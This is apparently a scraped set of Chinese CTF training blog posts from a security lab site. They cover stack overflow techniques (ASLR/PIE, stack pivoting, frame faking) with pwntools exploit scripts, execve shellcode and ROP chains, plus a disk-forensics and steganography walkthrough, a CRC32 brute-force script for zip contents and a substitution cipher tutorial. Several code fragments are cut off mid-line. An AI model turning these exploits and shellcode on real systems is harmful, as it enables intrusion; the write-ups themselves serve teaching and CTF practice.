- libc_start_main_addr - libc_start_main_241one_gadget_addr = libc_addr + one_gadget print hex(one_gadget_addr) a = int('0x'+hex(one_gadget_addr)[-2:],16)b = int('0x'+hex(one_gadget_addr)[-4:-2],16)c = int('0x'+hex(one_gadget_addr)[-6:-4],16) gdb.attach(p) p.recvuntil("input index\n")p.sendline(str(offset))p.recvuntil("now value(hex) ")addr = p.recvuntil('\n')[:-1]p.sendline(str(a)) p.recvuntil("input index\n")p.sendline(str(offset+1))p.recvuntil("now value(hex) ")addr1 = p.recvuntil('\n')[:-1]p.sendline(str(b)) p.recvuntil("input index\n")p.sendline(str(offset+2))p.recvuntil("now value(hex) ")addr2 = p.recvuntil('\n')[:-1]p.sendline(str(c))p.recvuntil("input index\n")p.sendline('a')p.interactive() 用实战磨练技术,加入网安实验室,1300+网安技能任你学!
栈溢出技巧(上)
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>  ASLR和PIE 我们都知道由于受到堆栈和libc地址可预测的困扰,ASLR被设计出来并得到广泛应用,后来各种绕过技术出现,比如return-to-plt、got hijack、stack-pivot(bypass stack ransomize)等的出现,PIE保护应运而生了。一般地都会把地址空间随机化和PIE混为一谈,没有详细地去了解过两者的区别(可能只有我没了解过,大佬们飘过即可),因为先来看一下两者的区别。ASLR(地址空间随机化)刚开始设计的时候是作为操作系统功能提供的,只考虑了当时技术背景下executable加载后stack、heap、libraries的随机化功能,也就是“对stack、heap root@pwn-PC:~# cat /proc/sys/kernel/randomize_va_space 1 root@pwn-PC:~# echo 0 > /proc/sys/kernel/randomize_va_space root@pwn-PC:~# cat /proc/sys/kernel/randomize_va_space 0 我们看下三者的区别:0不开启任何随机化的时候,怎么都不变,下面的是randomize_va_space值为1的时候,我们主要是注意,变化的:libc.so、ld.so和stack,不变的:.text、data、rodata、bss、vsyscall和heap。ps:BSS段 (bss segment)通常是指用来存放程序中未初始化的全局变量和静态变量(不带 const 修饰)的一块内存区域,是静态内存,不占用程序文件的大小,但是占用程序运行时的内存空间,而且初始化为0的全局变量也存在着bss段。data段用于维护初始化的且初始值非0的全局变量和静态变量(不带 const 修饰),但是它在在目标 本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID0113-edf1-48ca-a394-e3503a25fcae (栈溢出是由于C语言系列没有内置检查机制来确保复制到缓冲区的数据不得大于缓冲区的大小,因此当这个数据足够大的时候,将会溢出缓冲区的范围。) 当randomize_va_space值为2的时候,heap也在变化,但是vsyscall依然不变。 再做一个实验,我们开启PIE,然后将randomize_va_space值设置为0。只此之前先简单介绍一下PIE,它是一个针对代码段.text, 数据段.*data,.bss等固定地址的一个防护技术,在elf每次被加载时都变换加载基址。我们会发现两点,一、及时开启了PIE,但是在randomize_va_space值设置为0的情况下,每次加载的基址也是固定的;二、黄色圈起的部分明显比没有PIE时的程序加载的基址要大很多。 继续将randomize_va_space值设置为1,此时可以看到除了vsyscall依然镇守高地以外,其它都在随机化,就连heap也在随机化(对比上一个randomize_va_space为1的情景)。 randomize_va_space值设置为2的时候就不用看了,和上图一样。做完这些实验后,可以总结如下三点:一、根据图二印证了,PIE只是在编译的过程中赋予了ELF加载到内存时其加载基址随机化的功能,也就是编译后的文件已经具备了这个能力。二、经过图二和图三对比可以发现,具备了PIE能力的ELF,只有在有了ASLR这个允许的施展它PIE能力的环境下(无论是1,还是2),在加载的时候,PIE的作用才会显示出来(此时heap也会随机化)。三、vsyscall页面在每个进程中是静态分配了相同的地址,是固定的,后来的vdso弥补了这一缺陷。 ps:一、虽然PIE+ASLR后加载的基址是变化的,但是偏移量是不变的,是固定的,因此在利用的时候可以利用偏移量作为tips。二、内存页的大小是0x1000,因此加载后的程序,只有最后一个字节半处的地址是固定的,不变的。比如libc_start_main@@GLIBC_2.2.5的偏移是0x20740,那么无论加载多少次,在elf运行程序中libc_start_main@@GLIBC_2.2.5的地址为0x?????????740,最后一个字节半一直是740。 本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID0113-edf1-48ca-a394-e3503a25fcae(栈溢出是由于C语言系列没有内置检查机制来确保复制到缓冲区的数据不得大于缓冲区的大小,因此当这个数据足够大的时候,将会溢出缓冲区的范围。) stack pivoting 说完了上一节的内容,我们继续往下看,但是要注意上一节的内存,在整个栈溢出技巧中都会涉及到。先来看stack pivoting,这是2015年Computer Security Applications Conference发表的一篇名为Defeating ROP Through Denial of Stack Pivot文章讲到的,大体意思是劫持栈指针指向攻击者所能控制的内存处,然后在适当的位置里面进行 ROP,进而通过控制sp指向payload,触发payload的执行。这是绕过地址空间随机化的一种方法,根据定义归结于以下几种情况进行进行使用:构造这么一个32位的情景:如果栈溢出的空间无法满 X-CTF 2016 b0verfl0w 题目分析 可以看到是存在明显的栈溢出漏洞,但是可利用的空间较小,并且存在ASLR机制。 signed int vul() { char s; // [esp+18h] [ebp-20h] puts("\n======================"); puts("\nWelcome to X-CTF 2016!"); puts("\n======================"); puts("What's your name?"); fflush(stdout); fgets(&s, 50, stdin); printf("Hello %s.", &s); fflush(stdout); return 1; } 0x804850e <main>: push ebp 0x8 通过分析:溢出空间0x12的空间,也就是4个内存单元,地址随机化后,我们要利用栈溢出,只能先泄漏基址,空间有限所以不可能实现了,那么此时就用到了stack pivoting将栈劫持到一个已知空间中,而且有足够构造payload的空间。那么这个空间在哪呢?继续看 可以发现fgets并不影响esp,至始至终 esp的值没有变,而且esp中存储的依然是&s,也就是s的栈地址,那么我们就可以通过esp可以直接找到s的位置,不需要实际知道具体的地址数值,直接jmp esp就可以,使得eip指向0xffffbe38(劫持栈,然后控制eip)。那么payload放在哪里?当然是s的栈地址处,也就是ebp-0x20。此时可以这样设想,控制esp来指向我们的payload,然后通过jmp esp跳到payload处,然后通过ret指令控制eip,进而执行payload。那么需要做的事情就是:一、找到通过jmp esp的gadgets二、控制esp指向的地址就是payl 思路分析 这里先把用到的gadget找到 pwn@pwn-PC:~/Desktop/pwntips$ ROPgadget --binary b0verfl0w --only 'jmp|ret' Gadgets information ============================================================ 0x080483ab : jmp 0x8048390 0x080484f2 : jmp 0x8048470 0x08048611 : jmp 0x8048620 0x08048504 : jmp esp 0x0804836a : ret 0x0804847e : ret 0xeac1 然后通过ret将gadgets数据变成指令进行执行(eip中存储的是某一条指令的地址,地址,所以你直接把指令写在栈上,通过ret没办法执行)这里就需要栈溢出了通过栈溢出,(在当前栈帧,也就是你的payload是在当前栈上搭建的,需要此栈对应的leave ret 来进行栈溢出),不多说,很简单大体捋一下流程:粗略构造一下 ---------------- payload ---------------- fake ebp ---------------- jmp esp addr ---------------- ... ---------------- 发生栈溢出后,eip指向jmp esp addr,程序执行jmp esp,但是问题来了,此时的esp在...的内存单元地址处,我们本来是想用jmp esp跳到payload处,可是不能达到目的。那么怎么构造? 方法一 给出自己想出来的第一种构造方法,比wiki中方法短一点,可以缩短到溢出空间为4个字节,但是也是巧合吧,找到了0x08048500这个gadget。先改变esp的值,然后再jmp esp,如下图所示: 当程序执行ret指令后,就会使eip指向sub esp,0x24时,此时esp指向0x28;当程序执行完sub esp,0x24指令(为什么不是0x28呢?因为这里只在b0verfl0w找到了sub esp,0x24)后,就会使esp指向0x04位置,也就是存储0x08048504的单元。 再次执行ret指令后,使得eip指向jmp esp,此时esp指向shellcode(本题中没有nx保护);执行执行完jmp esp指令后,eip指向了shellcode,这样shellcode就被触发了。 方法二 来看第二种方法:这是wiki中给出的构造方法,如下:程序执行完ret指令后,eip会指向jmp esp,此时esp指向0x28。 执行完黄色的jmp esp后,eip指向了0x28。 程序执行完sub esp,0x28指令后,esp指向0x0。 此时程序会继续执行蓝色的jmp esp指令,然后eip就会指向0x0,接下来会执行payload。 ps:可以发现我们实际上构造的payload是什么?我当时不明白为什么要使用jmp esp的gadget。 这个就是应该执行的payload,执行control esp部分,那么一切就变的很完美掌控。但是确无法直接实现,因为指令被写入了栈里面(写入sub esp,0x28指令,前提是没有开启nx),需要eip去指向这个地址,才可以顺利执行,通过jmp esp的gadget即可达到这个效果,如下: 这样就可以,因为执行0x08048504时,esp指向0x28,那么jmp esp后shellcode就会完美执行。 exp exp一 exp(一): from pwn import * sh = process('./b0verfl0w') # context.arch = 'i386' context.log_level = 'debug' context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c'] shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73" shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0" shellcode_x86 += "\x0b\xcd exp二 from pwn import * sh = process('./b0verfl0w') context.log_level = 'debug' context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c'] shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73" shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0" shellcode_x86 += "\x0b\xcd\x80" sub_esp_jmp = asm('sub esp 最后推荐一个工具 frame faking 顾名思义,frame faking就是另外起一个虚假的栈帧来控制程序的执行流,与栈迁移有异曲同工之处。为什么要这样呢?由于原来溢出空间大小不足以承载payload,解决溢出空间不足的问题。比如: int vuln(){ char buf[80]; return read(0, buf, 100); } 上面这个例子的溢出空间是0x14,不足以承载我们构造的payload,既然空间不足,我们就创造一个空间足够大的新的栈空间。或者如2018 安恒杯 over一样,溢出空间只够覆盖rbp和ret_addr,很极限的操作。后面的介绍中将会引出两种构造方式,一种是边读边迁,一种是读完再迁,根据不同的场景进行构造,多样地去理解这一方法。 思路一 第一种构造方式:边读边迁,然后以XDCTF2015的pwn200为例子进行实践,抛弃原来的正常的解法。虽然利用这种方法显得没必要,多此一举了,但是可以增加理解。首先明确这是一个递进的过程。怎么识别我们构造的栈是一个新的栈空间呢?那就需要ESP和EBP来配合,EBP和ESP之间的内存单元就是程序可识别的栈空间。那么怎么让ESP和ESP去指向新的栈空间呢?基于栈溢出,我们能够知道,在栈溢出中,影响到的寄存器中有EBP,ESP,那么我们就可以通过构造payload来实现ESP和ESP的值。其实这个本质在于怎么去控制ESP,我们可以使用控制EBP来协助,因为leave;ret指令可以使用EBP来间接控 那么怎么去执行payload呢?通过rop控制eip寄存器的值。可以发现,无论我们怎么做,最基本的就是控制EBP(栈)和控制EIP(执行流)。关键指令: 一、第一次调用leave指令,为了形成fake_ebp,这是原由代码段自带的部分,正常的程序执行流,leave也就是move esp, ebp; pop ebp,这就可以改变EBP的值为fake_ebp,完成第一步的迁移操作。 二、第二次调用leave指令,在栈中构造的gadget中的leave,leave=>move esp, ebp; pop ebp,通过ebp的值来改变esp的值,使得esp的值也是fake_ebp,完成第二步的迁移操作,至此,栈迁移工作完成。 三、第二次调用leave指令后,需要再调用ret指令,控制程序的执行流,从而执行新栈上的payload。边读边迁,顾名思义,两个过程是一块进行的,先控制ebp确定fake_ebp,然后在fake_ebp中写入payload,最后控制esp和eip执行payload。下面我们看一下具体的利用过程: 执行move esp, ebp,使得esp指向1处,然后执行pop ebp;此时ebp寄存器就会执行fake_ebp 执行ret时,eip执行read函数,此时就会执行read函数,我们传入一个fake_ebp_2的十六进制(这个是作为栈底地址),此时在fake_ebp地址处(ESP指向地址)的值为fake_ebp_2。 read函数执行返回后执行leave_ret命令,这里可以分为三个命令来执行。3-1时,EBP和ESP都指向了fake_ebp的位置 3-2时,EBP指向了fake_ebp_2,这里就是栈底了,ESP指向下一个内存单元,也就是ret_addr处3-3时,ESP继续指向下一个内存单元,EIP的值就是ret_addr的值。此时栈迁移就完毕了,我们就可以在一个新的栈里面构造payload了,通过上述可以发现,我们可以3-3的部分入手进行利用,通过2处的read函数写入满足条件的payload就可以执行命令。看完这三幅图,再结合一开始的描述,此过程的操作理解起来就简单了。 应用一 程序中sub_8048484()函数存在栈溢出漏洞: sub_8048484() { char buf; // [esp+1Ch] [ebp-6Ch] setbuf(stdin, &buf); return read(0, &buf, 0x100u); } 可以看到明显的栈溢出,虽然溢出的操作空间挺大的,我们依然尝试迁移栈的办法,根据上面的分析构造第一次发送的payload: ----------------------- aaaa.... |padding ----------------------- 0x804a820 |fake_ebp ----------------------- read@plt_addr |ret_addr ----------------------- 0x8048481 |leave_ret ----------------------- 0x0 |fd ----------------------- 0x804a820 |buf ----------------------- 0x64 |nbytes ------------- 第二次发送的payload ----------------------- 0x804a820 |padding ----------------------- write@plt_addr |ret_addr ----------------------- 0x8048369 |控制执行流 ----------------------- 0x1 |fd ----------------------- read@got.plt |buf ----------------------- 0x4 |nbytes ----------------------- write@plt_addr |ret_addr -------- 第三次发送的payload ----------------------- system_addr |0x804a84c ----------------------- bbbb |0x804a850 ----------------------- /bin/sh_addr |0x804a854 ----------------------- exp: from pwn import * context.log_level = 'debug' context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c'] elf = ELF('bed0c68697f74e649f3e1c64ff7838b8') r = process('./bed0c68697f74e649f3e1c64ff7838b8') rop = ROP('./bed0c68697f74e649f3e1c64ff7838b8') offset = 108 ## find stack overflow length bss_addr = ps:小知识点:使用sendline习惯了,read函数先读缓冲区预留的内容,再读输入的内容,自己构造的时候调式了好久,还是太菜,当时一直以为这是玄学问题。  思路二 第二种构造方式:读完再迁,依然以XDCTF2015的pwn200为例子进行实践。依然是需要构造一个新的也就是栈迁移,这其中包括:leave形成新栈、read函数在新的栈中读入内容、需要一个ret来控制rip进行执行。那么读完再迁就是说先把payload读完,然后再把ebp和esp一块确定到payload所在的位置。因此可以这样构造: ----------------------- aaaa.... |padding ----------------------- aaaa |ebp ----------------------- read@plt_addr |ret_addr ----------------------- 0x8048369 |控制执行流 ----------------------- 0x0 |fd ----------------------- fake_ebp . |buf ----------------------- 0x64 |nbytes ----------------------- po 我们看一下具体的操作: 应用二 其他内容同应用一,具体看一下这几次payload不同的地方: 首先是第一次,先执行完read完payload后,再次leave;ret进行迁移执行,期间由于有出栈的动作,所以得注意地址的填写,注意图一和图二中蓝色框框的地址部分即可。exp: from pwn import * context.log_level = 'debug' context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c'] elf = ELF('bed0c68697f74e649f3e1c64ff7838b8') r = process('./bed0c68697f74e649f3e1c64ff7838b8') rop = ROP('./bed0c68697f74e649f3e1c64ff7838b8') offset = 112 bss_addr = elf.bss() leave_ret = 0x08048 实践 以2018年安恒杯中over题目为例子: __int64 __fastcall main(__int64 a1, char **a2, char **a3) { setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); while ( sub_400676() ) ; return 0LL; } int sub_400676() { char buf; // [rsp+0h] [rbp-50h] memset(&buf, 0, 0x50uLL); putchar(62); read(0, &buf, 0x60uLL); return puts(&buf); } 存在栈溢出,但是payload空间不足,只能覆盖到ret_addr的内存单元。那么我们需要构造一个新栈(思路二),因为程序中存在循环读,刚好可以简化思路二,以至达到极限的空间大小。payload如下:p64(0)*n #padding fake rbp # 此时执行到这,代码段中会执行leave指令,控制rbp寄存器。leave_ret_addr # 因为我想控制rip寄存器,控制rsp寄存器,通过leave;ret控制rip寄存器。思路准备:一、文件为ELF 64-bit LSB executable,最后选择使用execve函数进行getshell(system("/bin/sh") 可能 步骤分析:我们需要泄漏libc的基址,然后计算出execve地址,于是构造如下payload进行getshell。 ----------------------- pop_rdi_ret |rdi = /bin/sh_addr ----------------------- /bin/sh_addr | ----------------------- pop_rdx_pop_rsi_ret |rdx = 0 rsi = 0 ----------------------- p64(0) | ----------------------- p64(0) | ----------------------- execve_addr |rip = execve_addr ----------------------- 那么问题来了,我们怎么样把这几步都串起来?首先是找一个base_addr作为新的栈,此题目和思路二中有区别就是无法去构造read函数对新栈写payload了,使用程序中的read函数去写payload,也就是说fake frame或者新栈的位置已经确定了,那就是read函数的buf参数,也就是rbp-0x50的栈上的地址。因此我们后面的构造的payload都需要围绕此处地址就行展开,因此这里就会多一步:获取fake_rbp地址。第一步:获取fake_rbp地址根据read函数的特性,read完后并不会给输入末尾补上'\0',和程序中的代码段:read(0, &buf, 0x60uLL);ret 第二步:泄漏libc的基址这一步类似于思路二的第一步和二步结合,但是构造泄漏libc的基址payload: ----------------------- aaaaaaaa |buf_addr ----------------------- pop_rdi_ret |rdi = puts@got_addr ----------------------- puts@got_addr | ----------------------- puts@plt_addr |puts(puts@got_addr) ----------------------- call sub_400676() | 循环读入开始(这样payload中就不需要构造read函数了) ----------------------- a 这里需要注意pop_rdi_ret是在over.over中找的,因为没有libc的基址情况下,无法使用libc中内容。执行完此payload后,减去libc.sym['puts']就是libc的地址,然后获取execve的地址和"bin/sh"字符串的地址。另外这与思路二的差别依然是read函数的,调用sub_400676()不能控制buf的地址,得围绕buf地址就行展开构造。 第三步:执行execve函数进行getshell因为无法控制read函数的buf地址,需要与上一步一样构造控制程序的执行流。payload如下, ----------------------- aaaaaaaa |buf_addr-0x30 ----------------------- pop_rdi_ret |rdi = /bin/sh_addr ----------------------- /bin/sh_addr | ----------------------- pop_rdx_pop_rsi_ret |rdx = 0 rsi = 0 ----------------------- p64(0) | ----------------------- p64(0) | ----------------------- execve exp: from pwn import * context.binary = "./over.over" context.arch = 'amd64' context.log_level = 'debug' context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c'] sh = process("./over.over") elf = ELF("./over.over") libc = elf.libc sh.sendafter(">", 'a' * 80) stack = u64(sh.recvuntil("\x7f")[-6: ].ljust(8
DEFCON 20 CTF 磁盘取证分析题目
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>  这是一道取证分析题目,主要考察取证分析能力,包括磁盘文件恢复、图片文件修复、数据分析、图片隐写信息提取等。 本次实验题目地址:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015073111025900001。 题目提供了一个disk.img文件,我们首先可以尝试使用DiskGenius来查看其中的文件。打开DiskGenius_4.3.exe,依次选择“硬盘”、“打开虚拟硬盘文件”菜单项,如下图所示: 使用DiskGenius打开C:\CTF\DiskForensics\4\disk.img文件之后,可以看到在磁盘的根目录下存在有三个1.6MB的文件,文件名分别为21638、53564、70597,如下图所示: 我们选中这三个1.6MB的文件后单击右键菜单,在弹出的菜单中选择“复制到(S)...”,将其复制到C:\CTF\DiskForensics\4\Files目录下,如下图所示: 既然是取证那我们来看一下从磁盘镜像中是否可以恢复出已删除的文件。在DiskGenius主界面左侧的树形控件中选中VD0:disk.img(15MB)之后,点击工具栏上的“恢复文件”按钮,如下图所示: 等待操作完成之后,我们可以看到一共恢复出了5个新文件,其中有4个1.6MB的文件以及1个1.7MB的文件,如下图所示: 同样选中这5个文件之后单击鼠标右键,在弹出的右键菜单中选择“复制到(S)...”,将这5个文件恢复到C:\CTF\DiskForensics\4\Files目录下。 现在我们已经从disk.img文件中提取出了八个文件,但是这八个文件都没有扩展名,所以我们可以考虑使用TrID工具来识别一下。打开CMD命令提示符,切换到C:\CTF\DiskForensics\4\Files目录,输入trid *即可扫描该目录下的所有文件,但是很遗憾的是TrID并没有识别出任何一个文件的类型,如下图所示: 识别不出呢,咋办呢。 别慌我们还有linux的file命令,我们已经把提取出来的八个文件放到Linux实验机器的/home/forensics/defcon目录下了。现在切换到Linux实验主机,使用cd命令切换到/home/forensics/defcon目录之后,执行file *来对文件进行扫描,跟TrID一样,file命令也识别不出任何结果,如下图所示: 莫慌,这肯定是数据被破坏了,我们还可以手动识别 打开十六进制编辑器C32Asm(位于C:\Tools\c32asm\C32Asm.exe),使用C32Asm打开!2467文件,可以看到文件的前面两个字节为00 00,显然文件头部字节被抹掉了,而如果来到文件末尾,可以看到最后的两个字节是FF D9,如下图所示: \3. 因为最后面两个字节是FF D9,所以有可能是一个JPG文件,因为JPG文件的头部两个字节是FF D8,而末尾两个字节是FF D9,所以我们可以把最前面的两个字节填充为FF D8,然后按下Ctrl+S保存对文件的修改; \4. 给文件!2467添加.jpg扩展名,打开发现可以正常显示,说明这就是一个JPG文件; \5. 经过同样的操作,我们可以发现!8808、!8938、21638、53564、70597这五个文件也是JPG文件,而!1728、!8149则无法直接看出是什么文件; 这里我们发挥一下想象,这六个图片文件中有两个文件显示的图像是一样的,经过对比发现两个文件的大小不一样,其中前者为1.63 MB (1,714,910 字节),后者为1.59 MB (1,670,111 字节)。 此事必有蹊跷,对比一下两个文件看下 \1. 打开UltraCompare(位于C:\Tools\UltraCompare\uc.exe); \2. 依次点击“模式”、“二进制(快速)模式”菜单项; \3. 单击文件夹图标选中两个要比较的文件,单击绿色箭头图标开始比较,如下图所示; \4. 比较之后可以发现,两个文件的二进制数据存在大量差异之处,如下图所示; 经过上面的分析,发现两个图片文件大部分的二进制内容是不一样的,可以知道这里不是简单的在图片末尾附加数据。 别慌我可以使用stegdetect工具来检查一下。现在切换到Linux实验机器来进行操作,具体的实验步骤如下: \1. 通过cd命令切换到/home/forensics/defcon2目录,我们已经把上面的两个JPG文件复制到该目录下了; \2. 使用stegdetect检测两个图片文件,发现都提示negative,即并没有检测出隐写信息,如下图所示; \3. 调整stegdetect的敏感度(通过-s参数指定),设定敏感度为2.0,再次检测两个文件,发现文件!2467.jpg存在outguess隐写信息,如下图所示; 到现在为止,我们基本推测出了文件!2467使用了outguess来隐藏了隐写信息,现在我们可以使用outguess来提取其中的隐写信息,在Linux中执行outguess -r !2467.jpg data.txt即可,如下图所示: 看来是的很有可能是outguess提取隐写信息的时候需要指定一个密码,这时候可以编写一个脚本来破解这个密码,由于不知道密码的构词规则,所以可以使用暴力破解或者是字典破解的方法(可以暴力破解5个字母的密码,或者使用字典进行破解)。 最终破解出的密码是ddtek(曾经组织过DEFCON CTF的一个队伍名称),同时在使用outguess提取隐写信息的时候还要指定-e参数,表示需要使用错误纠正编码,完整的命令为outguess -r !2467.jpg -k "ddtek" data.txt -e。待提取完毕后,执行file data.txt可以知道这是一个ZIP文件,如下图所示: 这个在linux服务器上面呢,服务器的IP地址为10.1.1.47,我们在这里执行nohup python -m SimpleHTTPServer 8888 &即可在服务器上监听8888端口,在XP下的Firefox浏览器中下载http://10.1.1.47:8888/data.txt即可,下载之后将其重命名为data.zip并解压出其中的文件,打开解压出来的PDF文件即可看到Flag。 如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
Crypto练习之CRC32应用
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>> CRC全称为Cyclic redundancy check,即循环冗余校验码,是一种根据输入数据产生简短的固定位数校验码的散列函数。CRC主要用来检测或者校验数据经过传输或者保存后可能出现的错误,CRC32产生32位的散列值(即4字节)。CRC32可以用于数据的校验,在WinRAR等压缩软件中也使用了这一技术,压缩包中每个文件都保存有一个对应的CRC32值,这个值是对压缩前的文件数据计算出来的散列值,在进行解压时会再次计算文件的CRC32值来进行对比,判断压缩包文件是否损坏。尽管CRC32在错误检测中非常有用,但是并不能可靠地校验数据完整性(即数据没有发生任何变化),这是因为CRC多项式是线性 本次实验地址:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015011915463900001。 先来看一下题目,在实验主机上的C:\Crypto\2目录下的flag.zip为本题所提供的文件,请对flag.zip文件进行分析,提取出压缩包中7个txt文件的内容,然后找出Flag字符串。 这个题目意在考察选手对CRC32的了解,以及通过CRC32枚举来还原压缩包文件内容的方法。 实验步骤一、思路分析 打开flag.zip压缩包文件,发现里面有7个txt文件,但是压缩包经过加密了,所以无法直接对其进行解压操作。题目除了这个压缩包之外没有提供任何提示,使用十六进制编辑器查看flag.zip文件似乎也找不到可疑的信息,那么可行的方法似乎就只有一个了,那就是对密码进行暴力破解操作。 暴力破解无非是使用可能的密码尝试进行解压操作,可行的方法有两种: \1. 通过密码字典收集的常用密码进行破解; \2. 通过穷举可能的密码进行破解; 对于第一种方式而言,如果机器性能足够好,几千万的密码字典可以很快就跑完;对于第二种方式而言,穷举的空间是非常大的,因为RAR压缩文件密码的最大长度为127个字符,而且不局限于英文字符,因此完全的暴力破解是不可能的。 密码破解并不是本题的出题初衷,这里将介绍一种基于CRC32来还原压缩包内容的方法。观察flag.zip在WinRar中的显示信息,如下图所示: 在WinRAR下方的列表视图中,最后一列是CRC32值,这个值代表的是对应的文件在压缩之前的内容计算出来的CRC32散列值,考虑到这里每个txt文件原始的大小只有4个字节,因此我们可以尝试枚举可能的4字节内容,然后计算CRC32值来进行校验。4字节的枚举空间并不是无法接受,因此可以尝试这样的操作。 这样我们就完成了第一个步骤,接下来开始实验步骤二、CRC32计算 为了快速方便的还原压缩包的内容,我们需要编程来计算CRC32的值。计算CRC32可以有多种方法,可以从网上找一个实现好的C/C++源文件,也可以使用Python提供的库函数来进行计算,这里我们选择后者。 Python的binascii模块提供了一个crc32方法,可以方便的计算所给参数的CRC32值。但是这里的计算结果有一点问题,因为计算出来的结果是一个有符号数,所以可能会看到结果为负数,因此需要将结果和0xFFFFFFFF进行一个位运算与操作。Python计算CRC32的代码如下: import binascii def calcCRC32(s): crc = binascii.crc32(s) return crc & 0xFFFFFFFF 需要注意的是,前面提到CRC32会存在冲突的可能,也就是说,不同的内容在经过计算后得到的CRC32散列值可能是一样的。 这都是出题人布置的陷阱,你自己做实验的时候要注意,最后一步,实验步骤三、使用脚本进行快速破解 经过前面的分析,我们已经知道了可以通过CRC32来还原压缩包中的4字节文本,以及通过Python计算CRC32的方法,现在只需要给Python脚本添加枚举功能即可,代码如下: #!/usr/bin/env python # -- coding:utf-8 -- import datetime import binascii def showTime(): print datetime.datetime.now().strftime("%H:%M:%S") def crack(): crcs = set([0xE761062E, 0x2F9A55D3, 0xF0F809B5, 0x645F52A4, 0x0F448B76, 0x3E1A57D9, 0x3A512755]) r = xrange(32, 127) for a in r: for b in r: for c in r: for d in r: txt = chr(a)+chr(b)+chr(c)+chr(d) crc = binascii.crc32(txt) if (crc & 0xFFFFFFFF) in crcs: print txt if name == "main": showTime() crack() showTime() 在命令行下运行上面的Python脚本,等待一段时间后即可看到结果,具体的运行时间由机器的配置决定(经测试,实验机器只需要两分钟左右的时间即可完成破解,破解过程因为占用CPU比较高,因此可能会比较卡,耐心等待即可)。运行结果如下图所示: 这里不到两分钟就完成了整个枚举过程,得到的字符串为:FLAG, assw, dono, ed_p, ord}, t_ne, {we_,我们尝试对其进行拼接,得到一个有意义的结果为:FLAG{we_donot_need_password},这就是我们所要找的Flag字符串。 这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
Crypto练习之替换密码
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>> 今天进行的实验室Crypto种的替换密码。首先介绍一下工具,在解决这类题型的时候,我们不仅要运用到计算机知识,还有一部分密码学知识。 本次实验地址:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015011915454100001。 首先介绍一下工具,在解决这类题型的时候,我们不仅要运用到计算机知识,还有一部分密码学知识。 本实验要求实验者具备如下的相关知识。 一、替换密码 替换密码是古典密码学中的一种加密方法,其按照特定的规律对文件进行加密。在最简单的替换密码中,通过将一个字符映射为另一个字符的方式来进行加密,比如对ASCII码表做一个映射,可以将密文设置为明文的下一位,如字符a映射为字符b,即可完成简单的替换加密。 二、凯撒密码 凯撒密码替换密码中最为典型的代表。凯撒密码非常简单,就是对字母表中的每个字母,用它之后的第三个字母来代替。例如: 在凯撒密码中字母表是循环的,即认为紧随Z后的字母是A,因此最后一个单词party中,y的密文是B。 当凯撒密码的移位间隔为13时,就是ROT13编码了,因为英文字母表只有26个字母,而对ROT13而言,加密和解密的间隔都是一样的,因此同样的一段文字经过两次ROT13变换后就可以得到自身,即加密和解密是完全一样的操作。 三、英文字母频率 字母频率,就是指各个字母在文本材料中出现的频率。统计表明,在英语语料中各个字母的频率分布是有规律的,比如最常见的字母是e。英语中各个字母大致的频率分布如下图所示: 学习这些的主要目的是了解CTF竞赛中的密码学题型、凯撒密码、基于频率的替换密码破解方法。 接下来开始准备实验环境,我们需要的辅助工具有Python,substitution_cipher_solver,JPK。 先来看题目,在实验主机上的C:\Crypto\1目录下为本题所提供的文件(password.txt以及secret.rar两个文件),请对这些文件进行分析,找到Flag字符串。 文件找到了,该怎么分析呢? 这道题意图在于考察选手对密码学中替换密码的了解,包括凯撒密码及其变形以及基于英文字母频率对单表代替密码的破解方法。 实验步骤一、凯撒密码破解 题目提供了两个文件:password.txt以及secret.rar文件,其中压缩包文件经过了加密,需要密码才能进行解压操作,而password.txt文件中给出了一个hint,提示Caesar以及字符串Mkockb_1c_o4cI。 打开桌面上的JPK工具,输入字符串Mkockb_1c_o4cI,然后依次在菜单项中选择“Ascii”、“Decrypt”、“Caesar”,就可以看到所有可能的结果了,仔细观察输出的结果,可以看到比较有意义的字符串为Caesar_1s_e4sY,如下图所示: 经过测试,发现Caesar_1s_e4sY就是正确的解压密码。 实验步骤二、单表代替密码分析 打开secret.txt文件,得到的内容如下: oivqmqgn, yja vibem naarn yi yxbo sqnyab yjqo q zixuea is gaqbn qdi. ykra jqn zira yi baseazy yjqy qeni ko yja ujbqzw rqdqhkoa. yjkn kn vjqy yja uquab saam kn qpixy: gix nxprky q uquab, va backav ky qom ky dayn uxpeknjam. oi oaam yi vqky q rioyj ib yvi xoyke gix naa gixb qbykzea ko yja oafy ujbqzw k 这里可以尝试对这段文本进行凯撒密码变换,但是尝试1-13这些偏移都看不到任何有意义的结果,因为这里不再使用简单的凯撒变换了,这里使用的是任意的单表代替。在凯撒密码中,所有的字符经过变换后,他们的偏移量都是一样的,比如a经过变换后得到d,那么b经过变换后就是e;而在任意的单表代替中,每个字符都唯一映射到另一个字符,字符串映射之间是没有规律的。 